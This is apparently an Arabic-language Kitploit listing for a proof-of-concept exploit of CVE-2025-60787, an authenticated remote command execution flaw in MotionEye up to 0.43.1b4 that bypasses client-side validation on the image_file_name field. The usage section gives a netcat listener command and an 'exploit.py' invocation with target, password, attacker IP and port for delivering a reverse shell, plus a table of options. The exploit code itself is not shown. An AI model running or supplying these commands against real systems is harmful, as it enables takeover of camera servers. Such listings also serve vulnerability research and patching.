CVE-2025-60787_PoC — استغلال RCE مُوثَّق لـ MotionEye <= 0.43.1b4 عبر تجاوز التحقق من صحة العميل على حقل image_file_name. يتضمن تسليم حمولة الصدفة العكسية. | Kitploit

CVE-2025-60787 - تنفيذ الأوامر عن بُعد في MotionEye

ثغرة تنفيذ أوامر عن بُعد (RCE) مصادق عليها في MotionEye <= 0.43.1b4 عبر تجاوز التحقق من جهة العميل في حقل image_file_name.

الاستخدام

nc -lvnp 4444
python exploit.py -t http://127.0.0.1:8765 -p password -lh IP -lp 4444

`-t`	المضيف/الرابط الهدف (الافتراضي المنفذ 8765)
`-u`	اسم المستخدم (الافتراضي: admin)
`-p`	كلمة المرور - نفس القيمة التي تدخلها في الواجهة الرسومية / موجودة في `motion.conf`
`-lh`	عنوان IP للمهاجم
`-lp`	منفذ الاستماع
`--camera-id`	معرف الكاميرا (يتم اكتشافه تلقائيًا إذا تم حذفه)

CVE-2025-60787_PoC

الأكثر شعبية

CVE-2025-60787 - تنفيذ الأوامر عن بُعد في MotionEye

الاستخدام

العلامات